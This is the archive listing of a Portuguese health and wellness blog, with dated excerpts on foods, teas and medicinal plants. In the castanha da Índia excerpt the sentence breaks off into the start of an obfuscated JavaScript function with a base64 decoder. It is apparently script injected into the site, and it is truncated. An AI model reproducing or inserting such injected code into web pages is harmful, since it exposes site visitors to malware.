Mai 14, 2019 | Equilíbrio, Saúde e bem estar
8 Hidratos de carbono benéficos para a sua saúde Certamente já costuma consumi-los nas suas refeições mas será que está a fazer as escolhas certas? Hoje vou falar-lhe dos hidratos de carbono mais saudáveis que deve incluir na sua alimentação. Saiba que os hidratos...
Mai 3, 2019 | À descoberta, Dicas úteis, Saúde e bem estar
Dicas saudáveis: 7 variantes do coco Já lhe falei dos benefícios do coco e das propriedades fantásticas do seu óleo! Hoje vou falar-lhe das inúmeras formas deliciosas em que pode consumir este fruto fabuloso. Conheça-as agora, bem como todas as vantagens do seu...
Abr 17, 2019 | Receitas, Saúde e bem estar
Inhame com bacalhau – um prato tradicional da Quaresma na Madeira Como bem sabe, gosto muito de variar na alimentação e, sobretudo, de aproveitar o que de melhor a terra dá. Hoje falo-lhe de um tubérculo que é muito consumido na Madeira, sobretudo na Páscoa....
Abr 15, 2019 | À descoberta, Dicas úteis
7 Benefícios das folhas de chá de boldo para a sua saúde Já ouviu falar do boldo? É originário da América Central e América do Sul e as suas folhas têm propriedades terapêuticas que são utilizadas há muitos, muitos anos! Conhecido por ajudar a aliviar os efeitos das...
Set 2, 2018 | Saúde e bem estar
Limonada- 2 receitas deliciosas + benefícios para a saúde A limonada é uma combinação perfeita. E porquê? Porque, por um lado, irá manter-nos hidratados e, por outro, traz muitos os benefícios à saúde. O limão é um fruto rico em vitamina C, antioxidantes e...
Set 21, 2017 | Saúde e bem estar
Dicas saudáveis – benefícios da unha de gato Bem- vindo às minhas dicas saudáveis. Hoje vou falar-lhe da unha de gato. É um nome engraçado, não é? Esta denominação vem dos seus ramos que têm a forma de uma unha de gato. E os benefícios são fantásticos, já...
Set 19, 2017 | Saúde e bem estar
Dicas saudáveis – benefícios da castanha da Índia O castanheiro da Índia é uma grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Set 7, 2017 | Saúde e bem estar
Dicas saudáveis – benefícios da valeriana De certeza que já ouviu na falar na valeriana, mas será que sabe o que é? A valeriana é uma planta medicinal, que é usada desde há muitos séculos como acalmar e para ajudar a dormir. Esta planta de flores brancas e...
Ago 30, 2017 | Saúde e bem estar
Dicas saudáveis – 7 Benefícios do Ácido Fólico Hoje venho falar-lhe de uma vitamina muito importante para o nosso organismo. Já lhe falei dela em vários artigos, no entanto hoje vou explicar-lhe o que é e para que serve nas minhas dicas saudáveis....
Ago 17, 2017 | Saúde e bem estar
Dicas saudáveis – benefícios da lucuma Talvez nunca tenha ouvido falar neste fruto, mas é importante saber que a lucuma é um fruto nativo das terras altas do Peru. Começou por ser um alimento altamente valorizado pela antiga civilização Inca e um componente...
